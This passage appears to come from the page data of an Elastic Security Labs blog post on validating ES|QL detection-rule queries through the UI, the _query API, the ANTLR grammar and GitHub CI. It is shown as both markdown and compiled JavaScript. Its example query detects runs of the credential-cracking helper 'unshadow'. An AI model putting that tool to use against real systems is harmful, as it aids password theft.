logs-endpoint.events.*\n | keep host.os.type, process.name, process.working_directory, event.type, event.action\n | where host.os.type == \"linux\" and process.name == \"unshadow\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\")\n\"\"\"\n}\n\n# Execute the query\nheaders = {\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"}\nresponse = client.perform_request(\n\"POST\", \"/_query\", params={\"pretty\": True}, headers=headers, body=data\n)\n```\n\n## Leverage the grammar\n\nOne of the best parts of Elastic developing in the open is the [antlr ES|QL grammar](https://github.com/elastic/elasticsearch/tree/main/x-pack/plugin/esql/src/main/antlr) is also available. \n\n\n\nIf you’re comfortable with [ANTLR](https://www.antlr.org), you can also download the latest JAR to build a lexer and parser.\n\n```\npip install antlr4-tools # for antlr4\ngit clone git@github.com:elastic/elasticsearch.git # large repo\ncd elasticsearch/x-pack/plugin/esql/src/main/antlr # navigate to grammar\nantlr4 -Dlanguage=Python3 -o build EsqlBaseLexer.g4 # generate lexer\nantlr4 -Dlanguage=Python3 -o build EsqlBaseParser.g4 # generate parser\n```\n\nThis process will require more lifting to get ES|QL validation started, but you’ll at least have a tree object built, that provides more granular control and access to the parsed fields.\n\n\n\nHowever, as you can see the listeners are stubs, which means you’ll need to build in semantics _manually_ if you want to go this route.\n\n## The security rule GitHub CI use case\n\nFor our internal Elastic EQL and KQL query rule validation, we utilize the parsed abstract syntax tree (AST) objects of our queries to perform nuanced semantic validation across multiple stack versions. For example, having the AST allows us to validate proper field usage, verify new features are not used in older stack versions before being introduced, or even more, ensure related integrations are built based on datastreams used in the query. Fundamentally, local validation allows us to streamline a broader range of support for many stack features and versions. If you’re interested in seeing more of the design and rigorous validation that we can do with the AST, check out our [detection-rules repo](https://github.com/elastic/detection-rules/tree/main).\n \nIf you do not need granular access to the specific parsed tree objects and do not need to control the semantics of ES|QL validation, then out-of-the-box APIs may be all you need to validate queries. In this use case, we want to validate security detection rules using continuous integration. Managing detection rules through systems like GitHub helps garner all the benefits of using a version-controlled like tracking rule changes, receiving feedback via pull requests, and more. Conceptually, rule authors should be able to create these rules (which contain ES|QL queries) locally and exercise the git rule development lifecycle. \n\nCI checks help to ensure queries still pass ES|QL validation without having to manually check the query in the UI. Based on the examples shown thus far, you have to either stand up a persistent stack and validate queries against the API, or build a parser implementation based on the available grammar outside of the Elastic stack. \n\nOne approach to using a short-lived Elastic stack versus leveraging a managed persistent stack is to use the [Elastic Container Project (ECP)](https://github.com/peasead/elastic-container). As advertised, this project will: \n\n_Stand up a 100% containerized Elastic stack, TLS secured, with Elasticsearch, Kibana, Fleet, and the Detection Engine all pre-configured, enabled, and ready to use, within minutes._\n\n\n\nWith a combination of: \n\n - Elastic Containers (e.g. ECP)\n - CI (e.g. Github Action Workflow)\n - ES|QL rules\n - Automation Foo (e.g. python \u0026 bash scripts)\n\nYou can validate ES|QL rules via CI against the _latest stack version_ relatively easily, but there are some nuances involved in this approach.\n\n\n\nFeel free to check out the sample [GitHub action workflow](https://gist.github.com/Mikaayenson/7fa8f908ab7e8466178679a9a0cd9ecc) if you’re interested in a high-level overview of how it can be implemented.\n\n**Note:** if you're interested in using the GitHub action workflow, check out their documentation on using GitHub [secrets in Actions](https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions) and [setting up Action workflows](https://docs.github.com/en/actions/quickstart).\n\n## CI nuances\n\n 1. Any custom configuration needs to be scripted away (e.g. setting up additional policies, [enrichments](https://www.elastic.co/guide/en/elasticsearch/reference/current/match-enrich-policy-type.html), etc.) In our POC, we created a step and bash script that executed a series of POST requests to our temporary CI Elastic Stack, which created the new enrichments used in our detection rules.\n\n```\n- name: Add Enrich Policy\n env:\n ELASTICSEARCH_SERVER: \"https://localhost:9200\"\n ELASTICSEARCH_USERNAME: \"elastic\"\n ELASTICSEARCH_PASSWORD: \"${{ secrets.PASSWORD }}\"\n run: |\n set -x\n chmod +x ./add_enrich.sh\n bash ./add_enrich.sh\n```\n\n 2. Without data in our freshly deployed CI Elastic stack, there will be many `Unknown Column` issues as previously mentioned. One approach to address this is to build indices with the proper mappings for the queries to match. For example, if you have a query that searches the index `logs-endpoint.events.*`, then create an index called `logs-endpoint.events.ci`, with the proper mappings from the integration used in the query. \n \n 3. Once the temporary stack is configured, you’ll need extra logic to iterate over all the rules and validate using the `_query` API. For example, you can create a unit test that iterates over all the rules. We do this today by leveraging our default `RuleCollection.default()` that loads all rules, in our detection-rules repo, but here is a snippet that quickly loads only ES|QL rules.\n \n\n```\n# tests/test_all_rules.py\nclass TestESQLRules:\n \"\"\"Test ESQL Rules.\"\"\"\n\n @unittest.skipIf(not os.environ.get(\"DR_VALIDATE_ESQL\"),\n \"Test only run when DR_VALIDATE_ESQL environment variable set.\")\n def test_environment_variables_set(self):\n collection = RuleCollection()\n\n # Iterate over all .toml files in the given directory recursively\n for rule in Path(DEFAULT_RULES_DIR).rglob('*.toml'):\n # Read file content\n content = rule.read_text(encoding='utf-8')\n # Search for the pattern\n if re.search(r'language = \"esql\"', content):\n print(f\"Validating {str(rule)}\")\n collection.load_file(rule)\n```\n\n Each rule would run through a validator method once the file is loaded with `load_file`. \n\n```\n# detection_rules/rule_validator.py\nclass ESQLValidator(QueryValidator):\n \"\"\"Specific fields for ESQL query event types.\"\"\"\n\n def validate(self, data: 'QueryRuleData', meta: RuleMeta) -\u003e None:\n \"\"\"Validate an ESQL query while checking TOMLRule.\"\"\"\n if not os.environ.get(\"DR_VALIDATE_ESQL\"):\n return\n\n if Version.parse(meta.min_stack_version) \u003c Version.parse(\"8.11.0\"):\n raise ValidationError(f\"Rule minstack must be greater than 8.10.0 {data.rule_id}\")\n\n client = Elasticsearch(...)\n client.info()\n client.perform_request(\"POST\", \"/_query\", params={\"pretty\": True},\n headers={\"accept\": \"application/json\", \n \"content-type\": \"application/json\"},\n body={\"query\": f\"{self.query} | LIMIT 0\"})\n```\n\n As highlighted earlier, we can `POST` to the query API and validate given the credentials that were set as GitHub action secrets and passed to the validation as environment variables. Note, the `LIMIT 0` is so the query does not return data intentionally. It’s meant to only perform validation. Finally the single CI step would be a bash call to run the unit tests (e.g. `pytest tests/test_all_rules.py::TestESQLRules`). \n\n 4. Finally, CI leveraging containers may not scale well when validating many rules against multiple Elastic stack versions and configurations. Especially if you would like to test on a commit-basis. The time to deploy one stack took slightly over five minutes to complete. This measurement could greatly increase or decrease depending on your CI setup. \n \n## Conclusion\n\nElasticsearch's new feature, Elasticsearch Query Language (ES|QL), is a specialized query and compute engine for Elasticsearch, now in technical preview. It offers seamless integration across various Elastic services like Kibana and Timelines, with validation options for ES|QL queries. Users can validate queries through the Elastic Stack UI or API calls, receiving immediate feedback on syntax or column errors. \n\nAdditionally, ES|QL's ANTLR grammar is [available](https://github.com/elastic/elasticsearch/tree/d5f5d0908ff7d1bfb3978e4c57aa6ff517f6ed29/x-pack/plugin/esql/src/main/antlr) for those who prefer a more hands-on approach to building lexers and parsers. We’re exploring ways to validate ES|QL queries in an automated fashion and now it’s your turn. Just know that we’re not done exploring, so check out ES|QL and let us know if you have ideas! We’d love to hear how you plan to use it within the stack natively or in CI.\n\nWe’re always interested in hearing use cases and workflows like these, so as always, reach out to us via [GitHub issues](https://github.com/elastic/detection-rules/issues), chat with us in our [community Slack](http://ela.st/slack), and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80).\n\nCheck out these additional resources to learn more about how we’re bringing the latest AI capabilities to the hands of the analyst:\nLearn everything [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html) \nCheckout the 8.11.0 release blog [introducing ES|QL](https://www.elastic.co/blog/whats-new-elasticsearch-platform-8-11-0)\n","code":"var Component=(()=\u003e{var d=Object.create;var r=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var i in e)r(n,i,{get:e[i],enumerable:!0})},l=(n,e,i,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!m.call(n,a)\u0026\u0026a!==i\u0026\u0026r(n,a,{get:()=\u003ee[a],enumerable:!(s=u(e,a))||s.enumerable});return n};var y=(n,e,i)=\u003e(i=n!=null?d(p(n)):{},l(e||!n||!n.__esModule?r(i,\"default\",{value:n,enumerable:!0}):i,n)),v=n=\u003el(r({},\"__esModule\",{value:!0}),n);var c=f((L,o)=\u003e{o.exports=_jsx_runtime});var k={};w(k,{default:()=\u003eE,frontmatter:()=\u003eb});var t=y(c()),b={title:\"Streamlining ES|QL Query and Rule Validation: Integrating with GitHub CI\",slug:\"streamlining-esql-query-and-rule-validation\",date:\"2023-11-17\",description:\"ES|QL is Elastic's new piped query language. Taking full advantage of this new feature, Elastic Security Labs walks through how to run validation of ES|QL rules for the Detection Engine.\",author:[{slug:\"mika-ayenson\"},{slug:\"eric-forte\"}],image:\"photo-edited-01.png\",category:[{slug:\"security-research\"}]};function h(n){let e=Object.assign({p:\"p\",a:\"a\",em:\"em\",h2:\"h2\",strong:\"strong\",img:\"img\",ul:\"ul\",li:\"li\",code:\"code\",pre:\"pre\",ol:\"ol\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"One of the amazing, recently premiered \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-highlights.html\",rel:\"nofollow\",children:\"8.11.0 features\"}),\", is the Elasticsearch Query Language (\",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html\",rel:\"nofollow\",children:\"ES|QL\"}),\"). As highlighted in an earlier \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/elasticsearch-query-language-esql\",rel:\"nofollow\",children:\"post by Costin Leau\"}),\", it\\u2019s a full-blown, specialized query and compute engine for Elasitcsearch. Now that it\\u2019s in technical preview, we wanted to share some options to \",(0,t.jsx)(e.em,{children:\"validate\"}),\" your ES|QL queries. This overview is for engineers new to ES|QL. Whether you\\u2019re searching for insights in Kibana or investigating security threats in \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/timelines-ui.html\",rel:\"nofollow\",children:\"Timelines\"}),\", you\\u2019ll see how this capability is seamlessly interwoven throughout Elastic.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"esql-validation-basics-ft-kibana--elasticsearch\",children:\"ES|QL validation basics ft. Kibana \u0026 Elasticsearch\"}),`\n`,(0,t.jsxs)(e.p,{children:['If you want to quickly validate a single query, or feel comfortable manually testing queries one-by-one, the Elastic Stack UI is all you need. After navigating to the Discover tab in Kibana, click on the \"',(0,t.jsx)(e.strong,{children:\"Try ES|QL\"}),'\" Technical Preview button in the Data View dropdown to load the query pane. You can also grab sample queries from the ',(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/master/esql-examples.html\",rel:\"nofollow\",children:\"ES|QL Examples\"}),\" to get up and running. Introducing non-\",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/ecs/current/index.html\",rel:\"nofollow\",children:\"ECS\"}),\" fields will immediately highlight errors prioritizing syntax errors, then unknown column errors.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image7.png\",alt:\"\",width:\"1440\",height:\"1100\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In this example, there are two syntax errors that are highlighted:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"the invalid syntax error on the input \",(0,t.jsx)(e.code,{children:\"wheres\"}),\" which should be \",(0,t.jsx)(e.code,{children:\"where\"}),\" and\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"the unknown column \",(0,t.jsx)(e.code,{children:\"process.worsking_directory\"}),\", which should be \",(0,t.jsx)(e.code,{children:\"process.working_directory\"}),\".\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image3.png\",alt:\"\",width:\"1440\",height:\"1156\"})}),`\n`,(0,t.jsx)(e.p,{children:\"After resolving the syntax error in this example, you\\u2019ll observe the Unknown column errors. Here are a couple reasons this error may appear:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Fix Field Name Typos\"}),\": Sometimes you simply need to fix the name as suggested in the error; consult the ECS or any integration schemas and confirm the fields are correct\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Add Missing Data\"}),\": If you\\u2019re confident the fields are correct, sometimes adding data to your stack, which will populate the columns\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Update Mapping\"}),\": You can configure \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/8.11/mapping.html\",rel:\"nofollow\",children:\"Mappings\"}),\" to set explicit fields, or add new fields to an existing data stream or index using the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-put-mapping.html\",rel:\"nofollow\",children:\"Update Mapping API\"})]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"esql-warnings\",children:\"ES|QL warnings\"}),`\n`,(0,t.jsx)(e.p,{children:\"Not all fields will appear as errors, in which case you\\u2019re presented with warnings and a dropdown list. Hard failures (e.g. errors), imply that the rule cannot execute, whereas warnings indicate that the rule can run, but the functions may be degraded.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image6.png\",alt:\"\",width:\"1088\",height:\"364\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"When utilizing broad ES|QL queries that span multiple indices, such as \",(0,t.jsx)(e.code,{children:\"logs-* | limit 10\"}),`, there might be instances where certain fields fail to appear in the results. This is often due to the fields being undefined in the indexed data, or not yet supported by ES|QL. In cases where the expected fields are not retrieved, it's typically a sign that the data was ingested into Elasticsearch without these fields being indexed, as per the established mappings. Instead of causing the query to fail, ES|QL handles this by returning \"null\" for the unavailable fields, serving as a warning that something in the query did not execute as expected. This approach ensures the query still runs, distinguishing it from a hard failure, which occurs when the query cannot execute at all, such as when a non-existent field is referenced.`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image12.png\",alt:\"\",width:\"1088\",height:\"246\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"There are also helpful performance warnings that may appear. Providing a \",(0,t.jsx)(e.code,{children:\"LIMIT\"}),\" parameter to the query will help address performance warnings. Note this example highlights that there is a default limit of 500 events returned. This limit may significantly increase once this feature is generally available.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"security\",children:\"Security\"}),`\n`,(0,t.jsx)(e.p,{children:\"In an investigative workflow, security practitioners prefer to iteratively hunt for threats, which may encompass manually testing, refining, and tuning a query in the UI. Conveniently, security analysts and engineers can natively leverage ES|QL in timelines, with no need to interrupt workflows by pivoting back and forth to a different view in Kibana. You\\u2019ll receive the same errors and warnings in the same security component, which shows Elasticsearch feedback under the hood.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image1.png\",alt:\"\",width:\"1440\",height:\"1100\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In some components, you will receive additional feedback based on the context of where ES|QL is implemented. One scenario is when you create an ES|QL rule using the create new rule feature under the Detection Rules (SIEM) tab.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image8.png\",alt:\"\",width:\"1440\",height:\"1081\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"For example, this query could easily be converted to an \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/eql.html\",rel:\"nofollow\",children:\"EQL\"}),\" or \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/kibana/current/kuery-query.html\",rel:\"nofollow\",children:\"KQL\"}),\" query as it does not leverage powerful features of ES|QL like statistics, frequency analysis, or parsing unstructured data. If you want to learn more about the benefits of queries using ES|QL check out this \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/elasticsearch-query-language-esql\",rel:\"nofollow\",children:\"blog by Costin\"}),\", which covers performance boosts. In this case, we must add \",(0,t.jsx)(e.code,{children:\"[metadata _id, _version, _index]\"}),\" to the query, which informs the UI which components to return in the results.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"api-calls-of-course\",children:\"API calls? Of course!\"}),`\n`,(0,t.jsx)(e.p,{children:\"Prior to this section, all of the examples referenced creating ES|QL queries and receiving feedback directly from the UI. For illustrative purposes, the following examples leverage Dev Tools, but these calls are easily migratable to cURL bash commands or the language / tool of your choice that can send an HTTP request.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image4.png\",alt:\"\",width:\"1440\",height:\"1100\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Here is the same query as previously shown throughout other examples, sent via a POST request to the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-query-api.html\",rel:\"nofollow\",children:\"query API\"}),\" with a valid query.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image10.png\",alt:\"\",width:\"1440\",height:\"1100\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As expected, if you supply an invalid query, you\\u2019ll receive similar feedback observed in the UI. In this example, we\\u2019ve also supplied the \",(0,t.jsx)(e.code,{children:\"?error_trace\"}),\" flag which can provide the stack trace if you need additional context for why the query failed validation.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"As you can imagine, we can use the API to programmatically validate ES|QL queries. You can also still use the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/kibana/current/create-rule-api.html\",rel:\"nofollow\",children:\"Create rule\"}),\" Kibana API, which requires a bit more metadata associated with a security rule. However, if you want to only validate a query, the \",(0,t.jsx)(e.code,{children:\"_query\"}),\" API comes in handy. From here you can use the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/client/python-api/current/index.html\",rel:\"nofollow\",children:\"Elasticsearch Python Client\"}),\" to connect to your stack and validate queries.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`from elasticsearch import Elasticsearch\nclient = Elasticsearch(...)\ndata = {\n\"query\": \"\"\"\n from logs-endpoint.events.*\n | keep host.os.type, process.name, process.working_directory, event.type, event.action\n | where host.os.type == \"linux\" and process.name == \"unshadow\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\")\n\"\"\"\n}\n\n# Execute the query\nheaders = {\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"}\nresponse = client.perform_request(\n\"POST\", \"/_query\", params={\"pretty\": True}, headers=headers, body=data\n)\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"leverage-the-grammar\",children:\"Leverage the grammar\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"One of the best parts of Elastic developing in the open is the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/elasticsearch/tree/main/x-pack/plugin/esql/src/main/antlr\",rel:\"nofollow\",children:\"antlr ES|QL grammar\"}),\" is also available.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image5.png\",alt:\"\",width:\"1440\",height:\"1131\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"If you\\u2019re comfortable with \",(0,t.jsx)(e.a,{href:\"https://www.antlr.org\",rel:\"nofollow\",children:\"ANTLR\"}),\", you can also download the latest JAR to build a lexer and parser.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`pip install antlr4-tools # for antlr4\ngit clone git@github.com:elastic/elasticsearch.git # large repo\ncd elasticsearch/x-pack/plugin/esql/src/main/antlr # navigate to grammar\nantlr4 -Dlanguage=Python3 -o build EsqlBaseLexer.g4 # generate lexer\nantlr4 -Dlanguage=Python3 -o build EsqlBaseParser.g4 # generate parser\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"This process will require more lifting to get ES|QL validation started, but you\\u2019ll at least have a tree object built, that provides more granular control and access to the parsed fields.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image13.png\",alt:\"\",width:\"1136\",height:\"880\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"However, as you can see the listeners are stubs, which means you\\u2019ll need to build in semantics \",(0,t.jsx)(e.em,{children:\"manually\"}),\" if you want to go this route.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"the-security-rule-github-ci-use-case\",children:\"The security rule GitHub CI use case\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For our internal Elastic EQL and KQL query rule validation, we utilize the parsed abstract syntax tree (AST) objects of our queries to perform nuanced semantic validation across multiple stack versions. For example, having the AST allows us to validate proper field usage, verify new features are not used in older stack versions before being introduced, or even more, ensure related integrations are built based on datastreams used in the query. Fundamentally, local validation allows us to streamline a broader range of support for many stack features and versions. If you\\u2019re interested in seeing more of the design and rigorous validation that we can do with the AST, check out our \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main\",rel:\"nofollow\",children:\"detection-rules repo\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"If you do not need granular access to the specific parsed tree objects and do not need to control the semantics of ES|QL validation, then out-of-the-box APIs may be all you need to validate queries. In this use case, we want to validate security detection rules using continuous integration. Managing detection rules through systems like GitHub helps garner all the benefits of using a version-controlled like tracking rule changes, receiving feedback via pull requests, and more. Conceptually, rule authors should be able to create these rules (which contain ES|QL queries) locally and exercise the git rule development lifecycle.\"}),`\n`,(0,t.jsx)(e.p,{children:\"CI checks help to ensure queries still pass ES|QL validation without having to manually check the query in the UI. Based on the examples shown thus far, you have to either stand up a persistent stack and validate queries against the API, or build a parser implementation based on the available grammar outside of the Elastic stack.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"One approach to using a short-lived Elastic stack versus leveraging a managed persistent stack is to use the \",(0,t.jsx)(e.a,{href:\"https://github.com/peasead/elastic-container\",rel:\"nofollow\",children:\"Elastic Container Project (ECP)\"}),\". As advertised, this project will:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Stand up a 100% containerized Elastic stack, TLS secured, with Elasticsearch, Kibana, Fleet, and the Detection Engine all pre-configured, enabled, and ready to use, within minutes.\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image11.png\",alt:\"\",width:\"1440\",height:\"692\"})}),`\n`,(0,t.jsx)(e.p,{children:\"With a combination of:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Elastic Containers (e.g. ECP)\"}),`\n`,(0,t.jsx)(e.li,{children:\"CI (e.g. Github Action Workflow)\"}),`\n`,(0,t.jsx)(e.li,{children:\"ES|QL rules\"}),`\n`,(0,t.jsx)(e.li,{children:\"Automation Foo (e.g. python \u0026 bash scripts)\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"You can validate ES|QL rules via CI against the \",(0,t.jsx)(e.em,{children:\"latest stack version\"}),\" relatively easily, but there are some nuances involved in this approach.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/streamlining-esql-query-and-rule-validation/image2.gif\",alt:\"\",width:\"1264\",height:\"1064\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Feel free to check out the sample \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/Mikaayenson/7fa8f908ab7e8466178679a9a0cd9ecc\",rel:\"nofollow\",children:\"GitHub action workflow\"}),\" if you\\u2019re interested in a high-level overview of how it can be implemented.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Note:\"}),\" if you're interested in using the GitHub action workflow, check out their documentation on using GitHub \",(0,t.jsx)(e.a,{href:\"https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions\",rel:\"nofollow\",children:\"secrets in Actions\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://docs.github.com/en/actions/quickstart\",rel:\"nofollow\",children:\"setting up Action workflows\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"ci-nuances\",children:\"CI nuances\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Any custom configuration needs to be scripted away (e.g. setting up additional policies, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/match-enrich-policy-type.html\",rel:\"nofollow\",children:\"enrichments\"}),\", etc.) In our POC, we created a step and bash script that executed a series of POST requests to our temporary CI Elastic Stack, which created the new enrichments used in our detection rules.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`- name: Add Enrich Policy\n env:\n ELASTICSEARCH_SERVER: \"https://localhost:9200\"\n ELASTICSEARCH_USERNAME: \"elastic\"\n ELASTICSEARCH_PASSWORD: \"\\${{ secrets.PASSWORD }}\"\n run: |\n set -x\n chmod +x ./add_enrich.sh\n bash ./add_enrich.sh\n`})}),`\n`,(0,t.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[\"Without data in our freshly deployed CI Elastic stack, there will be many \",(0,t.jsx)(e.code,{children:\"Unknown Column\"}),\" issues as previously mentioned. One approach to address this is to build indices with the proper mappings for the queries to match. For example, if you have a query that searches the index \",(0,t.jsx)(e.code,{children:\"logs-endpoint.events.*\"}),\", then create an index called \",(0,t.jsx)(e.code,{children:\"logs-endpoint.events.ci\"}),\", with the proper mappings from the integration used in the query.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[\"Once the temporary stack is configured, you\\u2019ll need extra logic to iterate over all the rules and validate using the \",(0,t.jsx)(e.code,{children:\"_query\"}),\" API. For example, you can create a unit test that iterates over all the rules. We do this today by leveraging our default \",(0,t.jsx)(e.code,{children:\"RuleCollection.default()\"}),\" that loads all rules, in our detection-rules repo, but here is a snippet that quickly loads only ES|QL rules.\"]}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`# tests/test_all_rules.py\nclass TestESQLRules:\n \"\"\"Test ESQL Rules.\"\"\"\n\n @unittest.skipIf(not os.environ.get(\"DR_VALIDATE_ESQL\"),\n \"Test only run when DR_VALIDATE_ESQL environment variable set.\")\n def test_environment_variables_set(self):\n collection = RuleCollection()\n\n # Iterate over all .toml files in the given directory recursively\n for rule in Path(DEFAULT_RULES_DIR).rglob('*.toml'):\n # Read file content\n content = rule.read_text(encoding='utf-8')\n # Search for the pattern\n if re.search(r'language = \"esql\"', content):\n print(f\"Validating {str(rule)}\")\n collection.load_file(rule)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Each rule would run through a validator method once the file is loaded with \",(0,t.jsx)(e.code,{children:\"load_file\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`# detection_rules/rule_validator.py\nclass ESQLValidator(QueryValidator):\n \"\"\"Specific fields for ESQL query event types.\"\"\"\n\n def validate(self, data: 'QueryRuleData', meta: RuleMeta) -\u003e None:\n \"\"\"Validate an ESQL query while checking TOMLRule.\"\"\"\n if not os.environ.get(\"DR_VALIDATE_ESQL\"):\n return\n\n if Version.parse(meta.min_stack_version) \u003c Version.parse(\"8.11.0\"):\n raise ValidationError(f\"Rule minstack must be greater than 8.10.0 {data.rule_id}\")\n\n client = Elasticsearch(...)\n client.info()\n client.perform_request(\"POST\", \"/_query\", params={\"pretty\": True},\n headers={\"accept\": \"application/json\", \n \"content-type\": \"application/json\"},\n body={\"query\": f\"{self.query} | LIMIT 0\"})\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As highlighted earlier, we can \",(0,t.jsx)(e.code,{children:\"POST\"}),\" to the query API and validate given the credentials that were set as GitHub action secrets and passed to the validation as environment variables. Note, the \",(0,t.jsx)(e.code,{children:\"LIMIT 0\"}),\" is so the query does not return data intentionally. It\\u2019s meant to only perform validation. Finally the single CI step would be a bash call to run the unit tests (e.g. \",(0,t.jsx)(e.code,{children:\"pytest tests/test_all_rules.py::TestESQLRules\"}),\").\"]}),`\n`,(0,t.jsxs)(e.ol,{start:\"4\",children:[`\n`,(0,t.jsx)(e.li,{children:\"Finally, CI leveraging containers may not scale well when validating many rules against multiple Elastic stack versions and configurations. Especially if you would like to test on a commit-basis. The time to deploy one stack took slightly over five minutes to complete. This measurement could greatly increase or decrease depending on your CI setup.\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elasticsearch's new feature, Elasticsearch Query Language (ES|QL), is a specialized query and compute engine for Elasticsearch, now in technical preview. It offers seamless integration across various Elastic services like Kibana and Timelines, with validation 